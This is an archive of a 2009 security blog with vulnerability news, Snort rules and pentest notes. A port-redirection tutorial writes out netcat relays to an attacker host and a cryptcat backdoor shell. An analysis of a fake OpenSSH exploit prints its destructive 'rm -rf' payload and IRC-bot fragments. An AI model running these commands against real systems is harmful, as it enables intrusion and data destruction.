/(IN)?Security/i

TOTW Changes TOTM

2009-12-28T15:35:00.000-08:00

I have only made one TOTW post since the inception of the idea a few months ago. I have been really busy and it only seems that my work load is going to increase. As such, I am going to me changing the TOTW to a once a month post. (Topic/Tool/Technique of the Month (TOTM)).

With these posts going to once a month, I think that I will be able to better meet the obligations that I have set forth with our blog viewers. If anyone has any thoughts..... comment!

Microsoft IIS ASP Extensions Security Bypass 0-day

2009-12-28T11:14:00.000-08:00

This is a late post as I have been incredibly busy over the last two months (you can tell by the blog neglect :).

A vulnerability has been identified in Microsoft Internet Information Services (IIS) where the IIS server fails to properly handle files that have multiple extensions separated by a semi-colon ";" (filename.asp;.jpg). This could be used by an attacker to abuse poor file upload implementations. This vulnerability does not work with ASP.Net.

The Microsoft Security Response Center (MSRC) has made a blog post about the vulnerability.

Metasploit Framework 3.3 Released

2009-11-17T09:05:00.000-08:00

HD Moore made a blog post this morning about the release of Metasploit 3.3.

Here are some of the more notable feature enhancements (paraphrased from here):

446 exploits, 216 auxiliary modules, and hundreds of payloads.
Windows payloads now support NX, DEP, IPv6, and the Windows 7 platform.
More than 180 bugs were fixed since the release of version 3.2.
Metasploit database functionality is enabled by default if a driver can be found and RubyGems is installed.
Oracle and MS-SQL support has been integrated into the framework including working exploits and brute force dictionary password guessing has been worked into login modules.
The payload encoding library can now embed Metasploit payloads into arbitrary executables.
64-bit support has been added for Windows and Linux platforms.
Select payloads work with auxiliary modules and the database to select the right syscall numbers (making shellcode more adaptive) for each particular operating system revision.
There is now support for JSP payloads.
A simple fuzzer API has been integrated as a mixin including sample fuzzing modules.
Support for the DECT COM-ON-AIR driver has been integrated into Metasploit.
The Meterpreter can now capture network traffic from the compromised system.

The list goes on and on. I would suggest that you read the blog post if you want a more detailed description of some of the more major enhancements.

Rapid 7 Acquires Metasploit

2009-10-21T08:39:00.000-07:00

HD Moore sent out an email this morning that Metasploit has been acquired by Rapid7. He is going to join their team full time as their CSO. There are also some other project members that will be joining him at Rapid7 to work on the project full time.

HD has promised that the project will remain Open Source, and he feels that this move is the best move for the project in terms of freeing up his time and the time of others to make project improvements.

Personally, I have mixed feelings about this. I believe that we will see many new improvements to the framework as a result of this acquisition. At the same time, with Rapid7 now maintaining the rights to Metasploit all the promises that have been made to HD are meaningless as they can do as they wish with the project. I would predict that initially project control will still be under the supervision of HD and in time his views of where the project should go will be overruled by the powers that be within Rapid7. Rapid7 is just like any other business, they are out to make money, and in the end this will drive the decisions that are made with regard to the project; not the security community.

There is talk about it everywhere and I am interested in seeing your comments.

You can read HD's email here.
You can read Rapid7's announcement here.

New Metasploit Payload Stager (windows/*/reverse_tcp_allports)

2009-09-25T08:12:00.000-07:00

HD Moore made a blog post yesterday about a new Metasploit payload stager that was just added.

Taken from Metasploit Blog:

"The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again."

An example of this new payload stagers use is if you were trying to get a reverse connection back to a machine under your control in an environment that does aggressive egress filtering. You could determine which ports are allowed outbound from the compromised system using the stager and some IPTables magic.

You can find the complete post with more information about the new payload stager, use syntax, and IPTables configuration example here.

Transmail - MBOX/Maildir Transactional Reporting Script

2009-09-13T14:11:00.000-07:00

I wrote this script in response to a subpoena that I received requesting a transactional log of emails sent and received from a particular mailbox that was stored in MBOX/MailDir format. The script will go through a MBOX formatted file, put the date and time that the message was sent or received, the from address, to address, subject, the file that contains the mail entry, and the sha256 digest of the line entry in a comma separated list for easy parsing. The output data can also be opened up using common spreadsheet applications (excel, calc, etc.).

You can have the script traverse a MailDir directory stricture using the find command. Example:

find /home/USER/mbox -type -f -exec perl transmail.pl '{}' \; > /tmp/USER_trans.csv

I would be interested in any other open-source tools out there that have similar functionality, or any improvements that readers make to the script. (Please comment).

You can download here.

Updates this week

2009-09-13T11:52:00.000-07:00

I had to fly out early to San Diego for SANS Network Security 2009 and will have a little bit of free time over the next couple of days.

I am hoping that I can get some good TOTW posts done (hopefully more than one to make up for my lack of posting :), and to possibly have the updated HoneyD web interface source posted. I also have some other miscellaneous scripts and tools that I need to clean up and get posted, so keep a lookout!

Microsoft IIS FTP Service 5.0, 5.1. 6.0, 7.0 DoS

2009-09-04T09:47:00.000-07:00

If you haven't already had enough MS IIS FTPD fun this week, there is yet another vulnerability that has been identified within Microsoft's FTP Service. When exploited it results in stack exhaustion and the termination (DoS) of all netinfo processes on a system (including www service).

Note: If any netinfo service is set to "manual" startup in services control manager it will need to be restarted manually.

Microsoft Windows 2k, XP, Server 2003, Vista, and Server 2008 running IIS 5.0 through 7.0 are all vulnerable. An attacker does not need write access, only read access, to a directory within the ftproot to successfully reproduce this DoS condition.

The MSRC is also reminding customers that if they are running the FTP service on Vista or Server 2008 that FTP 7.5 is available for download, which is not vulnerable to this condition.

You can find PoC here
CVE here
Updated Microsoft Advisory here
MSRC Post here

IIS 5.0/6.0 FTPd 0-day Released

2009-08-31T14:07:00.000-07:00

An IIS 5.0/6.0 FTPd 0-day has been released on milw0rm. IIS 6.0 is only vulnerable if stack cookie protection is enabled (See below)

# IIS 5.0 FTPd / Remote r00t exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2googlemail.com 
# Affects IIS6 with stack cookie protection 
# August 2009 - KEEP THIS 0DAY PRIV8

You can find exploit code here.

UPDATE: Emerging Threats has signatures available to alert on overly large SITE commands (150 bytes) here.

UPDATE2: Sourcefire VRT has a post on their blog about snort rules that should be able to detect the attack here.

Microsoft has also created a security advisory (975191) about this vulnerability.

Tenable has released a detection plug-in for this vulnerability. There is also a blog post talking about dependencies and how to use the plug-in to check for vulnerable hosts using nessuscmd here.

Skype Eavesdropping Trojan Source Code Available

2009-08-28T07:14:00.000-07:00

Source code for a Skype Trojan has been released today that uses DDL injection methods in order to record conversations that take place via Skype.

It injects function calls into the Skype process to intercept all audio data coming and going to the Skype process. It then extracts the PCM audio data, converts it to MP3 and sends it to the attacker after encrypting it.

You can find more information including the source code here.

WPA-TKIP Beck-Tews (Chop-Chop) Attack Improved

2009-08-28T07:00:00.000-07:00

Japanese researchers have released a paper on how to perform the Beck-Tews (Chop-Chop) style attack against any WPA-TKIP implementation without relying upon QoS features.

With the origonal Beck-Tews (Chop-Chop) attack TKIP sequence enforcement mechanisms could be evaded using separate QoS queues to replay traffic into a wireless network. This in combination with taking advantage of how the integrity mechanism of WPA-TKIP notifies the sending station in the event of an integrity failure, Beck and Tews could recover the plaintext of a small amount of data (like an ARP frame) at a rate of 1 byte per minute. At this rate, excluding the known plain-text portions of an ARP frame, they were able to recover the entire plain-text of an ARP frame in around 14 to 17 minutes.

This new attack should provide another reason for organizations to move away from WPA-TKIP and go to AES-CCMP.

You can find the paper here.

SANS Security 504: Hacker Techniques, Exploits & Incident Handling Denver, CO

2009-08-26T12:39:00.000-07:00

I will be mentoring SANS Security 504: Hacker Techniques, Exploits & Incident Handling in Denver Colorado Friday, January 8, 2010 through Friday, March 12, 2010.

You can find out more information about registration and pricing here.

If your organization has an Internet connection or one or two disgruntled employees (and whose doesn't!), your computer systems will get attacked. From the five, ten, or even one hundred daily probes against your Internet infrastructure to the malicious insider slowly creeping through your most vital information assets, attackers are targeting your systems with increasing viciousness and stealth.

By helping you understand attackers' tactics and strategies in detail, giving you hands-on experience in finding vulnerabilities and discovering intrusions, and equipping you with a comprehensive incident handling plan, the in-depth information in this course helps you turn the tables on computer attackers. This course addresses the latest cutting-edge insidious attack vectors and the "oldie-but-goodie" attacks that are still so prevalent, and everything in between. Instead of merely teaching a few hack attack tricks, this course includes a time-tested, step-by-step process for responding to computer incidents; a detailed description of how attackers undermine systems so you can prepare, detect, and respond to them; and a hands-on workshop for discovering holes before the bad guys do. Additionally, the course explores the legal issues associated with responding to computer attacks, including employee monitoring, working with law enforcement, and handling evidence.

This challenging course is particularly well suited to individuals who lead or are a part of an incident handling team. Furthermore, general security practitioners, system administrators, and security architects will benefit by understanding how to design, build, and operate their systems to prevent, detect, and respond to attacks.

TOTW: Port Redirection (nc, socat, ssh, fpipe, cryptcat)

2009-08-25T19:59:00.000-07:00

This is the first in the Tool/Technique Of The Week (TOTW) series of posts covering methods used in information security as well as tools that I believe to be helpful. This weeks TOTW covers port redirection.

When pen-testing there are a lot of ways that you can use port redirection to get around obstacles. You may want to leverage network access that you have obtained by compromising one system to attack another. Maybe, there is a service that you want to access but can't because it is being blocked by a firewall. Or there may be an intrusion detection system that you are trying to evade by sending traffic through an encrypted tunnel. Whatever the case, the following tools and techniques can assist you in accomplishing some of these goals.

Netcat (nc)

Available Here

Netcat is one of those tools that has so many uses to a penetration tester that it is something that should always be in your toolkit. Taken from the Netcat project homepage:

"Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities."

One way port redirection can be accomplished with Netcat on both Windows and *nix based systems. This only works if the application and protocol in use does not use control traffic to maintain an active connection. For example, lets say that you as the penetration tester (ATTACKER) have compromised and have direct access to HOSTA on port 80/tcp only and have also compromised HOSTB setting a bind shell to listen on port 23 but cannot access the host directly. There isn't any egress filtering for HOSTB but HOSTA cannot connect outbound on anything other than in response to established connections that it receives on port 80/tcp. (These command will work interchangeably on both Windows and *nix.)

On your ATTACKER machine you would run to receive response traffic (window1):

nc -lv 3333

On HOSTA you could run:

nc -lv 80 | nc -t HOSTB 23 | nc ATTACKER 3333

And then netcat to HOSTA on port 80/tcp (window2):

nc HOSTA 80

You can then run commands from window2 and receive the command response on window1.

Two way redirection can be accomplished using named pipes. Named pipes in Windows can only be created with code and do not work in the same way that named pipes in *nix work. You are much better off using something like Fpipe (see below) to achieve this same functionality. Lets go back to our previous example, but this time we would like to tunnel the command response traffic from HOSTB back over the established connection that we initiated to HOSTA on 80/tcp. (HOSTA in this example must be running *nix.)

On HOSTA we create a named pipe using the mkfifo or mknod commands:

#pipe will be the name of our named pipe
mkfifo pipe

#this will perform the same action using mknod
mknod pipe p

We then create our two way tunnel using Netcat on HOSTA:

nc -lvp 80 <pipe | nc -t HOSTB 23 >pipe

In this case we can either use a standard telnet client (because we specified the -t option) or Netcat to initiate a connection to HOSTA on port 80:

telnet HOSTA 80

- or -

nc HOSTA 80

We will then be able to issue commands and receive the command output in the same window.

The two way port redirection technique can also be used to redirect traffic from one port to another on the same host. Example:

#SSH into HOSTA if sshd is listening on loopback
nc -lvp 80 <pipe | nc localhost 22 >pipe

ssh -p 80 HOSTA

Socat
Available Here

Socat is one of the best tools available for port redirection. Taken from Socat project site:

"Socat is a relay for bidirectional data transfer between two independent data channels. Each of these data channels may be a file, pipe, device (serial line etc. or a pseudo terminal), a socket (UNIX, IP4, IP6 - raw, UDP, TCP), an SSL socket, proxy CONNECT connection, a file descriptor (stdin etc.), the GNU line editor (readline), a program, or a combination of two of these. These modes include generation of "listening" sockets, named pipes, and pseudo terminals."

Socat's syntax takes a little bit of time to get used to, but once you overcome this mild obstacle the power of Socat will become obvious.

Going back to our previous scenario, setting up a two way tunnel as we did with Netcat becomes trivial with Socat:

socat TCP-LISTEN:80,fork TCP:HOSTB:23

How about if an IDS is monitoring the traffic between HOSTA and HOSTB? If Socat is compiled with OpenSSL support we can generate certificates and encrypt the communications between the two hosts. We can also force validation of the client certificate to ensure that only HOSTA can connect to HOSTB via our Socat tunnel.

First we have to generate a public/private key pair:

openssl genrsa -out HOSTB.key 1024

Next self sign the certificate:

openssl req -new -key HOSTB.key -x509 -out HOSTB.crt

Then generate the PEM encoded certificate by just concatenating the key and certificate files:

cat HOSTB.key HOSTB.crt > HOSTB.pem

The PEM encoded certificate must then be copied to HOSTB. Perform the same certificate generation process for HOSTA (client), and copy the client PEM encoded certificate to HOSTA.

Once your certificates have been generated and have been placed on the appropriate systems, all we need to do is setup the listener and the SSL tunnel.

On HOSTA start socat with the following options:

socat TCP-LISTEN:80, fork openssl-connect:HOSTB:8080,cert=HOSTA.pem,cafile=HOSTB.crt

This will allow our ATTACKER machine to connect to port 80/tcp on HOSTA, and then initiate an SSL encrypted connection to HOSTB on port 8080/tcp.

On HOSTB we set an OpenSSL listener on 8080/tcp to receive encrypted communications from HOSTA, decrypt this data, and forward it on to 23/tcp over the loopback adapter on HOSTB.

socat openssl-listen:8080,reuseaddr,cert=HOSTB.pem,cafile=HOSTA.crt,fork TCP:localhost:23

I would highly suggest reviewing the Socat usage examples and the documentation that has been made available by the Socat project to see some of the other uses of this great tool.

SSH Client (ssh)

Available Here

SSH is a protocol that is largely used for the secure remote administration of systems via an encrypted tunnel. Outside of its basic terminal access uses, the OpenSSH client also has limited port forwarding capabilities that we can use for port redirection. This is a great benefit to us as a penetration tester for multiple reasons. Not only does SSH come installed by default in the majority of *nix based operating systems, but it also gives us channel encryption capabilities between any two systems in which we have authentication credentials (password, key, etc.).

There are two different port forwarding types that can be used with the OpenSSH client, local and remote. Local port forwarding forwards traffic coming to a local port on the connecting machine to a specified remote port either on the machine that is being connected to or a system in which that system has network access. Remote port forwarding does the inverse, it forwards traffic coming to a remote port on the destination system, to a specified local port on the connecting system. Lets look at some examples.

Lets go back to our previous example, but this time we have ssh access to HOSTA. We can establish a two way tunnel between our ATTACKER system and HOSTB using nothing more than our ssh client and HOSTA acting as a connection intermediary.

ssh -L 3333:HOSTB:23 username@HOSTA

This will setup a local listener on our ATTACKER system on port 3333/tcp which will forward any traffic that it receives to HOSTB on port 23, via HOSTA. We can specify multiple local forwarders at the same time by including more -L options. If we had ssh connectivity to HOSTB we could bypass any IDS sensor that is in place using two ssh local forwards:

ssh -L 3333:localhost:3333 username@HOSTA

Then on HOSTA after logging in:

ssh -L 3333:localhost:23 username@HOSTB

Remote forwards are also really helpful when we have a service on our ATTACKER machine that we want to be able to access from a remote host, or provide connectivity between two systems using our ATTACKER host as a proxy. For example, ATTACKER2 is a system that is on our local network that we want to be able to access from HOSTA via 80/tcp so that we can browse our pen-testing toolkit.

On ATTACKER we would connect to HOSTA with the following remote forward definition, we can then connect to 80/tcp via the loopback adapter on HOSTA to connect to ATTACKER2:

ssh -R 80:ATTACKER2:80 username@HOSTA

Fpipe

Available Here

Fpipe is a tool that was created by Foundstone that allows us to perform port redirection on the Windows platform. Fpipe does not provide any native encryption abilities, but it does fill the two way tunnel gap due to the lack of named pipe support in Windows without having to install Cygwin.

Going back to our scenario we could create a two way tunnel with Fpipe by issuing the following command on HOSTA:

fpipe -l 3333 -r 80 HOSTB

We would then be able to initiate a connection to HOSTA on port 3333/tcp which will be forwarded to HOSTB on 80/tcp.

Fpipe also has functionality to set the source port of the connection using the "-s" option, which may be helpful in bypassing some weak firewall implementations.

Cryptcat

Available Here

Cryptcat is the standard GNU Netcat tool enhanced with twofish encryption which has ports for both WIndows and *nix.

You can provide the same command line options with Cryptcat that you would with Netcat (see above), with the exception of some options that are used in relation to establishing the cryptographic tunnel. Most notable is the "-k" option, which allows us to specify a "secret password" (symmetric key) that will be used during encryption and decryption. I would always suggest setting a different key when using Cryptcat as the default is hard coded to "metallica". The key will need to be set the same on both ends of the tunnel.

We will need to use cryptcat on HOSTB to create our backdoor as the symmetric key will need to be defined to decrypt communications from HOSTA (not all versions of Cryptcat/Netcat support the -e option).

cryptcat -k SECRETKEY -tlp 23 -e cmd.exe

After creating our pipes as we did in the Netcat example we issue the following to create the two way tunnel on HOSTA

cryptcat -k SECRETKEY -lp 80 <pipe | cryptcat -k SECRETKEY -t HOSTB 23 >pipe

We can then create a local two way listener (after creating our named pipes) on our ATTACKER host to encrypt the communications to HOSTA, and initiate a telnet connection to our local forwarder:

cryptcat -k SECRETKEY -lvp 23 <pipe | cryptcat -k SECRETKEY -t HOSTA 80 >pipe

telnet localhost 23

Making the Hotspot Threat Mobile

2009-08-13T08:14:00.000-07:00

Hotspot threats have become a big concern in information security the last couple of years as more franchises start to offer "Free WiFi" access to their customers. Outweighing the convenience of free internet access, nearly everywhere you go, is the lack of security foresight built into most hotspot deployments.

An American company named Autonet Mobile was founded in 2005 with the goal of providing "automotive grade connectivity for users in all vehicles" [1]. They have created a mobile router that uses 3g and 802.11 to provide hotspot style connectivity to users that are in reach of the 3g network at a minimal monthly cost. Autonet Mobile claims that they have been working with major car manufacturers to to provide such connectivity.

While providing a great service/product to consumers the same security shortcomings that we see in other Hotspot implementations have carried over to Autonet's product.

From Autonet's FAQ page [2]:

"Does Autonet Mobile provide a secure connection?

Yes. Your WiFi connection is secured with WEP encryption, MAC address restriction or WAN port restriction. Also supports VPN pass-through. Public hotspots do not offer security. WPA2 will be available in a few months."

The product also has the ability to provide a splash page for user authentication (and we know that users are going to purchase valid SSL certificates :). Even though Autonet states that they will be providing WPA2 support for their users in a few months, currently the only supported encryption mechanism is WEP. I find it amusing that they put "Public hotspots do not offer security" in their FAQ, is this not what they are creating?

If Autonet is already working with car manufacturers to make their product a factory option, I would anticipate, that in the near future, widespread use of this wireless technology will be commonplace. I would also anticipate that this would be an "always on" type of technology, as consumers are going to drive the demand for such connectivity.

[1] http://www.autonetmobile.com/

[2] http://www.autonetmobile.com/support/faq/#6

New Ongoing Post: Tool/Technique of the Week

2009-08-11T16:43:00.000-07:00

We are going to start a weekly post on the use of a particular tool, or a particular method of getting something accomplished in relation to Information Security.

This will include tools and techniques that can be used in:

Penetration Testing
Incident Response
Forensic Analysis
Intrusion Detection
Malware Analysis
Vulnerability Research

I am hoping that we can spark some interesting conversations. All posts will have a label of TOTW. I will make the first post tomorrow evening, and then every Tuesday.

Anti-sec OpenSSH 0-day Exploit Code

2009-07-17T20:34:00.000-07:00

The Anti-Sec OpenSSH 0-day exploit that was reported here has supposedly come to light. When performing my own analysis of the shellcode, there seems to be something fishy going on. :)

The snippet below was the only thing that I was able to retrieve, but you get a sense for what is going on.

You can find the exploit code here.

[root@deception tmp]# gcc 0pen0wn.c -o 0pen0wn && strings 0pen0wn
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
htons
fopen
inet_aton
connect
printf
send
memset
fseek
fputs
fclose
malloc
system
gethostbyname
geteuid
__libc_start_main
free
GLIBC_2.1
GLIBC_2.0
PTRh
QVh7
Y^_]
[^_]
[+] 0pen0wn 0wnz Linux/FreeBSD
Usage: %s -h -p port
Options:
-h ip/host of target
-p port
-d username
-B memory_limit 8/16/64
need root for raw socket, etc...
[+] 0wn0wn - by anti-sec group
[-] Resolving failed
[-] Connecting failed
[-] connecting failed
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
PS1='sh-3.2#' /bin/sh
[-] failed to exploit target :-(
rm -rf ~ /* 2> /dev/null &
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print "; while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock"; while (<$sockn"; sleep 1; n"; #!/usr/bin/perl $chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
sleep 1;
";
while (<$sockn"; sleep 1; #!/usr/bin/perl $chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
while (<$sockn"; ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}"; while (<$sock"; while (<$sockn"; sleep 1; n"; #!/usr/bin/perl $chan="#cn";$key ="fags";$nick="sleep 1; #!/usr/bin/perl $chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn"; sleep 1; k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

802.1x LEAP Hash Relay

2009-07-11T09:50:00.000-07:00

I am sitting in SEC617 at Rocky Mountain SANS (Good Class, Highly Recommended :), and got to thinking about hash relay attacks and if they could be performed during Cisco's LEAP authentication exchange (I know that it is dead, but the mind wanders). The steps below would require access to two separate BSSID's within close proximity of one another that are providing access to the same DS, as well as a client within range to associate to the wireless network. I haven't had a chance to test this yet, but here is how I see it playing out:

Attacker associates to an open AP (AP1) in which the LEAP challenge process is started, they receive a 8 byte challenge from the authenticator.
While AP1 is waiting for a response from the attacker, the attacker sends a de-authentication frame to a client that has already authenticated via LEAP to AP2.
When the client attempts to re-authenticate via challenge, the attacker poses as AP2 and sends the 8 byte challenge that it received from the authenticator in step 1.
The client generates a response to the challenge that it then sends back AP2, which is then captured by the attacker and sent as the response to AP1, initiated in step 1.

If I get some time in the coming week, I will test this out and update this post with the results. If this has already been done, or is impossible, please comment!

802.11n Block ACK DoS

2009-07-02T14:17:00.000-07:00

The Block Transmission and Acknowledgement addition by IEEE for 802.11e networks was implemented to reduce transmission overhead by utilizing a single acknowledgement for a block of frames. It allows transmitting devices to burst frames rather than acknowledge each sent frame. For reference, it is not too different from the concept of TCP's window size mechanism. Apparently there is a nasty flaw in its implementation.

It is possible to deny or degrade service to an 802.11n user by simply crafting a management frame at the MAC layer. The idea is to send an Add Block Acknowledgement (ADDBA) frame to a recipient with sequence numbers that are not inclusive of the current conversation. Along with the spoofed IP address of your intended victim, the frame will cause the victims recipient (likely the AP) to drop all incoming frames that do not fall within the specified sequence number range. All legitimate traffic will be dropped. Since the recipient is responsible for packet reordering, injection of the frame should be simple. At this time, there is no fix for this DoS vulnerability.

I would like to have some fun with this and run some tests. When we develop a proven technique, we will post it.

Interesting read:

http://www.wve.org/entries/show/WVE-2008-0006

Apache DoS Tool

2009-06-19T14:41:00.000-07:00

It has been around a month since my last post. There has been quite a bit going on in my life, but skipping the boring stuff. :)

There is a new Apache DoS method that can be used to exhaust all available connections on a remote system.

Taken from SANS ISC:

--------------------------------------------------

While there are a lot of DoS tools available today, this one is particularly interesting because it holds the connection open while sending incomplete HTTP requests to the server.

In this case, the server will open the connection and wait for the complete header to be received. However, the client (the DoS tool) will not send it and will instead keep sending bogus header lines which will keep the connection allocated.

The initial part of the HTTP request is completely legitimate:

GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

After sending this the client waits for certain time – notice that it is missing one CRLF to finish the header which is otherwise completely legitimate. The bogus header line the tools sends is currently:

X-a: b\r\n

Which obviously doesn't mean anything to the server so it keeps waiting for the rest of the header to arrive. Of course, this all can be changed so if you plan to create IDS signatures keep that in mind.

--------------------------------------------------

Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

2009-05-18T20:03:00.000-07:00

There has been some coverage of this.

A new Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Vulnerability has been identified. The vulnerability could result in the unauthorized download or access of files stored within a WebDAV folder, as well as bypassing authentication mechanisms that are placed on password protected web locations.

You can find more information here.

When reviewing the attack details it seems as if Microsoft did not learn from their previous mistakes. The same unicode character sequence (forward-slash "/" represented as %c0%af in unicode) was used in the the IIS 4.0/5.0 attacks back in 2001. The IIS 4.0/5.0 attacks relied upon the reinterpretation of decoded sequences after integrity checks were done against the request, whereas this attack relies on the fact that WebDAV will strip the sequence out of the request after authorization functions have been called.

I guess this is more of a reason to train developers to use perameter whitelisting instead of blacklisting.

What do you think?

UPDATE:

Here are some generic Snort rules for detecting both attack techniques:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"IIS6.0 WebDav Remote Auth Bypass - GET METHOD"; content:"Translate:"; nocase; pcre:"/GET.*%..%.*HTTP/Bi"; pcre:"/Translate: *f/i"; reference:url,isc.sans.org/diary.html?storyid=6397;sid:1000004; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"IIS6.0 WebDav Remote Auth Bypass - PROPFIND METHOD"; pcre:"/PROPFIND.*%..%.*HTTP/Bi"; reference:url,isc.sans.org/diary.html?storyid=6397;sid:1000005; rev:1;)

Microsoft Powerpoint Updates

2009-05-12T16:27:00.000-07:00

Microsoft released patches to address the vulnerabilities that were found in its Microsoft Office PowerPoint application today. These patches only address the issue with Windows versions of the product. Microsoft says that they are planning on releasing patches for Mac OS X during the next patch cycle.

You can find more information here.

The MSRC blog post can be found here.

Adobe Acrobat/Reader Updates

2009-05-12T16:16:00.000-07:00

As promised Adobe has released a fix for the vulnerabilities that were found in its "customDictionaryOpen()", "getAnnots()", and "getIcon()" JavaScript methods within Adobe Acrobat/Reader.

You can find more information about the patches here.

You can find the original advisory here.

You can find PoC code for these vulnerabilities at:

customDictionaryOpen()
getAnnots()
getIcon()

SANS Rocky Mountain 2009

2009-05-11T18:57:00.000-07:00

SANS is coming to Denver, CO July 7 - 13, 2009. They are offering some of their more popular courses at the event, and have plenty of interesting evening talks scheduled (as usual). SANS Rocky Mountain 2009 takes place at the Grand Hyatt Denver, and they have discounted rates available.

I personally have taken the 560 course out of the list below (Very good course, plenty of technical content) and will be facilitating the 617 course at the event. You can find more information about the event at the following URL's. See you there! :)

SANS Rocky Mountain 2009

Technical Security Courses Offered:

Security 401: SANS Security Essentials Bootcamp Style
Security 560: Network Penetration Testing and Ethical Hacking
Security 617: Wireless Ethical Hacking, Penetration Testing, and Defense

Management Courses Offered:

Management 512: SANS Security Leadership Essentials For Managers with Knowledge Compression(TM)
Management 414: SANS® +S™ Training Program for the CISSP® Certification Exam

HoneyD Data Visualization Scripts and Web Frontend

2009-05-07T15:59:00.001-07:00

I have been spending a little bit of time updating my HoneyD data visualization scripts and creating a web based front-end that is not embarrassing. I will put it all together into an installation package with documentation over the coming week and post it here for everyone to download.

Here is a basic screen shot of the new interface main page:

Microsoft Disabling AutoRun by Default

2009-04-28T19:35:00.001-07:00

The Microsoft Security Response Center (MSRC) made a blog post today announcing that Microsoft will be permanently disabling AutoRun support for all devices that are not removable optical media by default. This change will be implemented into the Release Candidate build of Windows 7, and a future patch will be released for Windows Vista and Windows XP. There was no indication of making these changes to Windows Server 2003 and 2008 in the future, but I would predict that they will either incoorporate these changes into a patch that will be released at the same time as the Vista and XP patches or shortly there after.

I think that this is a smart move on behalf of Microsoft. With Malware AutoRun propogation becoming more frequent over the last year, this shows that Microsoft is trying to be proactive for their customers.

You can find the origonal blog post here.

iBotnet The Mac OS X Botnet

2009-04-20T07:42:00.000-07:00

Apparently the world first known Mac OS X botnet was identified. The information that was posted by Symantec in their April 2009 issue of the Virus Bulletin. The malware, called OSX.Iservice, doesn't have any self propagation mechanism and doesn't have any technical means of infecting other systems at all. The malware was put into pirated versions of Apple iWork '09 and Adobe Photoshop CS4 for Mac OS X. Although this is being identified as a Mac OS X only infection, the method in which the malware spread can effect all operating systems. It comes down to informing your users of the risks involved in using peer-2-peer software, enforcing restrictions through policy, and implementing as many technical controls as possible to either make sure that the software doesn't work or detect its use and report. You can read the full article here:

CBC
ZDNet
Symantec Virus Bulletin

Emerging threats has a pretty decent P2P ruleset for snort that is updated frequently. You can find it here:

http://emergingthreats.net/rules/emerging-p2p.rules

What other methods have organizations have put into place for detecting or preventing the use of P2P software?

Microsoft Windows Wireless Client WPA2 Caching

2009-04-15T17:28:00.000-07:00

I was doing some research into how Windows wireless clients cache credentials when using WPA2 and PEAP. I found the following KB article which was released in December of last year:

http://support.microsoft.com/kb/893357

It is convenient for users to have this functionality but currently, where I work, we are utilizing open wireless technologies and requiring VPN connectivity to access internal resources. I do not want to reduce the security posture of the environment from a access control perspective becuase of the implementation of WPA2.

Two things stuck out to me in this KB article. One being that windows wireless clients that have the WPA2 patch applied, by default, perform preauthentication to networks in range they have cached credentials for. This is done for ALL networks within range, even if there wasn't any actions carried out by the user. The second was that windows wireless clients cache wireless credentials for 12 hours by default. Both of these actions seem a little excessive to me, having a default attack window of 12 hours if a device were to be stolen is too long; especially if your are going to lax other controls becuase they are being compensated for by WPA2.

The pre-auth piece is just a bad idea overall. An attacker could utilize this functionality to harvest credentials if the client is configured with lax certificate validation. Too be honest, I would imagine that the majority of the worlds users would just disregard the certificate error anyway. How many existing enterprise WPA2 + EAP implementations use valid certificates? The majority probably do not. Sad. :(

Malicious Code Injection via /dev/mem

2009-04-15T15:39:00.000-07:00

I haven't had a chance to read through the entire thing, but from what I have read so far it is a very well written and interesting paper.

Abstract

